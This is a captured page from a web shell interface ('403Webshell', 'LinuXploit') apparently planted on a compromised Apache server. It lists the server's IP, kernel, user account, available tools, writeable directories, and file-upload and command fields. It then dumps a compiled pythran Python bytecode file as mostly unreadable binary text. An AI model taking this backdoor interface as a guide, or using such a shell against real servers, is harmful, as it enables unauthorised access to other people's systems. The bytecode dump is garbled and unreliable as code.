403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/__pycache__/conversion.cpython-311.pyc
�

cR�a����dZddlZddlZddlZdZGd�de��ZGd�de��Z	d�Z
d	�Zd
�Zd�Z
d�Zd
Zd�Zd�ZdS)zA This module provides way to convert a Python value into an ast. �N�c��eZdZdZdS)�ConversionErrorzC Exception raised when conversion from value to ast can't be done. N��__name__�
__module__�__qualname__�__doc__���4/usr/lib/python3/dist-packages/pythran/conversion.pyrr
s������M�M�M�Mrrc��eZdZdZdS)�	ToNotEvalzx
    Exception raised when we don't want to evaluate the value.

    It is case of too long expression for example.
    Nrrrr
rrs���������rrc�l�	ttt|����S#t$r|cYSwxYw�N)�tuple�map�totuple�	TypeError)�ls r
rrsA����S��!�_�_�%�%�%�������������s�!$�3�3c�X�|dvrMtjtjdtj��dd��|tj����Stjtjt	d��tj��dd��|tj����S)N)�bool�builtins�numpy)�ast�	Attribute�Name�Load�mangle��names r
�dtype_to_astr""s����y����}��H�Z�����T�4�8�8���H�J�J���	�
�}��H�V�G�_�_�c�h�j�j�$��=�=���H�J�J���	rc
��d�}||��tk�rt|t��r0tjd�|D��tj����St|t��r0tjd�|D��tj����St|t��r�|rtj	d�|D����Stj
tjtjtd��tj��dd��dtj����gg���St|t��rQd	�|���D��}d
�|���D��}tj||��St|t$j���rat)|��dkr�tj
tjtjtd��tj��dd��d
tj����t+|j��t/|jj��gg���Stj
tjtjtd��tj��dd��dtj����t+t5|�������t/|jj��gg���St9���t;���)ze
    Convert value to ast expression if size is not too big.

    Converter for sized container.
    c	�V��tt�d�fd�������S)N�flattenc����Srr��xs�r
�<lambda>z6size_container_folding.<locals>.size.<locals>.<lambda>7s����r)�len�getattrr's`r
�sizez$size_container_folding.<locals>.size6s,����3�7�1�i�����3�3�5�5�6�6�6rc�,�g|]}t|����Sr��to_ast��.0�elts  r
�
<listcomp>z*size_container_folding.<locals>.<listcomp>;s��:�:�:�S�V�C�[�[�:�:�:rc�,�g|]}t|����Srr.r0s  r
r3z*size_container_folding.<locals>.<listcomp>=s��;�;�;�c�f�S�k�k�;�;�;rc�,�g|]}t|����Srr.r0s  r
r3z*size_container_folding.<locals>.<listcomp>@s��=�=�=���s���=�=�=rrN�set)�func�args�keywordsc�,�g|]}t|����Srr.r0s  r
r3z*size_container_folding.<locals>.<listcomp>Is��8�8�8�C�F�3�K�K�8�8�8rc�,�g|]}t|����Srr.r0s  r
r3z*size_container_folding.<locals>.<listcomp>Js��<�<�<�c�f�S�k�k�<�<�<rrr�empty�array)�MAX_LEN�
isinstance�listr�Listrr�Tupler6�Set�Callrrr�dict�keys�values�Dict�np�ndarrayr*r/�shaper"�dtyper!r�tolistrr)�valuer,rFrGs    r
�size_container_foldingrO/s���7�7�7��t�E�{�{�W����e�T�"�"�$	$��8�:�:�E�:�:�:�C�H�J�J�G�G�G�
��u�
%�
%�"	$��9�;�;�U�;�;�;�S�X�Z�Z�H�H�H�
��s�
#�
#� 	$��
!��w�=�=�u�=�=�=�>�>�>��x�S�]��H�V�J�/�/�����T�4�H�H���H�J�J�& �& ���!�!�!�!���t�
$�
$�	$�8�8�5�:�:�<�<�8�8�8�D�<�<�U�\�\�^�^�<�<�<�F��8�D�&�)�)�)�
��r�z�
*�
*�	$��5�z�z�Q����x�S�]��H�V�G�_�_�c�h�j�j�$��E�E���H�J�J�& �& �!���-�-�&�u�{�'7�8�8�:��
!�!�!�!��x�S�]��H�V�G�_�_�c�h�j�j�$��E�E���H�J�J�& �& �!�������!8�!8�9�9�&�u�{�'7�8�8�:��
!�!�!�!�"�#�#�#��k�k�rc��t|td��tf��rt|��}n|j}tjtjdtj��dd��|tj����S)z- Convert builtin function to ast expression. Nr)	r?�typer�strrrrrr)rNr!s  r
�builtin_foldingrScsj���%�$�t�*�*�d�+�,�,���5�z�z����~���=���*�c�h�j�j�$��E�E��s�x�z�z�+�+�+rc
����t�fd�tttfD����rgt	jt��}t
�t��r*|j�cxkr|jksnddl	m
}|d���t���St
�tj��r!t������St
�tjt"tt%d��f��rt'j�d��St
�t*t,t.t0tjf��rt5���St7�d��r�jdkrt���St
�t:t<t>f��rtt+�����St
�tj j!��rrt'j"t'j"t'j#dt'j$��dd��d	t'j$����d
t'j$����StK���)z�
    Turn a value into ast expression.

    >>> a = 1
    >>> print(ast.dump(to_ast(a)))
    Num(n=1)
    >>> a = [1, 2, 3]
    >>> print(ast.dump(to_ast(a)))
    List(elts=[Num(n=1), Num(n=2), Num(n=3)], ctx=Load())
    c3� �K�|]}�|uV��	dSrr)r1�trNs  �r
�	<genexpr>zto_ast.<locals>.<genexpr>ys'�����
2�
2�!�5�A�:�
2�
2�
2�
2�
2�
2rr)�PythranSyntaxErrorz#constant folding results in big intNrrr�_globals�_NoValueType)&�anyr�int�floatrI�iinfor?�min�max�pythran.syntaxrXrS�genericr/�item�numbers�NumberrRrQr�Constantr@rr6rErJrO�hasattrr�filterr�ziprYrZrrrr)rNr^rXs`  r
r/r/ms����
2�
2�
2�
2��c�5�1�
2�
2�
2�2�2�9����
�
���e�S�!�!�	L�5�9��+J�+J�+J�+J���+J�+J�+J�+J�9�9�9�9�9�9�$�$�%J�K�K�K��u�%�%�%�	�E�2�:�	&�	&�9��e�j�j�l�l�#�#�#�	�E�G�N�C��t�D�z�z�B�	C�	C�9��|�E�4�(�(�(�	�E�D�%��d�B�J�?�	@�	@�9�%�e�,�,�,�	���	%�	%�
9�%�*:�j�*H�*H��u�%�%�%�	�E�F�C��-�	.�	.�9��d�5�k�k�"�"�"�	�E�2�;�3�	4�	4�9��}�S�]�3�8�G�S�X�Z�Z��48�,:�,:�;E�+.�8�:�:�7�7�,�S�X�Z�Z�9�9�	9��+�+�r�__pythran_import_c�&�|dkr|St|zS)z�
    Mangle a module name, except the builtins module
    >>> mangle('numpy')
    __pythran_import_numpy
    >>> mangle('builtins')
    builtins
    r)�PYTHRAN_IMPORT_MANGLINGr s r
rr�s���z�����&��-�-rc�r�|�t��r|tt��d�S|S)z�
    Demangle a module name, if needed
    >>> demangle('__pythran_import_numpy')
    numpy
    >>> mangle('numpy')
    numpy
    N)�
startswithrlr*r s r
�demanglero�s8�����.�/�/���C�/�0�0�1�1�2�2��r)r
�gastrrrIrdr>�	Exceptionrrrr"rOrSr/rlrrorrr
�<module>rrs��G�G�������������
��N�N�N�N�N�i�N�N�N�
�����	�������
�
�
�1�1�1�h+�+�+�#�#�#�L.��.�.�.�����r

Youez - 2016 - github.com/yon3zu
LinuXploit